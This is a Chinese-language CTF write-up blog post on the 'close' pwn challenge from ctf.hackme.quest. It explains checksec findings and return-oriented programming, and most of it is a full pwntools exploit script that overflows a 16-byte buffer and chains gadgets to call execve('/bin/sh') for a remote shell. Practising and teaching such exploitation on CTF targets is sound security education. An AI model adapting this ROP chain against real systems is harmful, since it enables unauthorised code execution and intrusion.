close

把這個題目抓下來用checksec檢查
會發現沒有開啟canary跟PIE(ASLR)保護
但是有開啟DEP (aka W^X)
因此可以試著用ROP方法來饒過
最簡單的方式是用ropgadget來產生一連串的gadget來攻擊.

ROP的原理大致上就是使用code段裡分段的程式碼
把一些含有return指令的片段組合起來
因為stack已經被保護了,沒辦法塞入shellcode等方式直接執行
因此只能在stack塞一個在code段的位置讓程式跳過去執行.

-----Python Code-----

from pwn import *
s = remote('ctf.hackme.quest', 7704)
p = b'A'*16 #buffer大小是16,後面會覆寫return address
p += p32(0x0806ecda) # pop edx ; ret
#把 stack上的0x080ea060取出然後assign給edx
#ret會把stack上的值0x080b8016取出給ecx或eip,然後jump過去
p += p32(0x080ea060) # @ .data
#這一段是程式裡面可寫入的區段,我們要把/bin//sh\0 這個字串寫進去
#其實你用objdump也能觀察到這個位址是可讀可寫的data segment.
p += p32(0x080b8016) # pop eax ; ret
#把/bin放到eax然後再跳到0x0805466b
p += b'/bin'
p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
#把eax裡面的值assign到0x080ea060位置,然後跳到0x0806ecda
# *(0x080ea060)='/bin'
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea064) # @ .data + 4
p += p32(0x080b8016) # pop eax ; ret
p += b'//sh'
#這段是把//sh塞入剛剛位置的後面4byte,因為要接著/bin這4個bytes後面
p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
#把eax裡面的值assign到0x080ea064位置,然後跳到0x0806ecda
# *(0x080ea064)='//sh'
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x080492d3) # xor eax, eax ; ret
p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
#這段就是要塞入代表字串結尾的\0
# *(0x080ea068)='\0'
p += p32(0x080481c9) # pop ebx ; ret
p += p32(0x080ea060) # @ .data
#把整個字串assign給ebx,因為要當作execve的參數
#assign 0x080ea060 to ebx
p += p32(0x080de769) # pop ecx ; ret
p += p32(0x080ea068) # @ .data + 8
#把0 assign給ecx,因為要當作execve的參數
#assign 0 to ecx
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
#把0 assign給edx,因為要當作execve的參數
#assign 0 to edx
p += p32(0x080492d3) # xor eax, eax ; ret
#把eax設為0,再跳到0x0807a66f
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
#把eax設為11,因為32bits下 execve system call代號是11
#assign 0xb to eax
#然後跳到0x0806c943位置來執行,這裡有一個指令是int 0x80,會執行syscall
p += p32(0x0806c943) # int 0x80
#final
#execve("/bin/sh",0,0)
s.send(p)
s.interactive()

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 fvalinux 的頭像
    fvalinux

    Elegance

    fvalinux 發表在 痞客邦 留言(0) 人氣()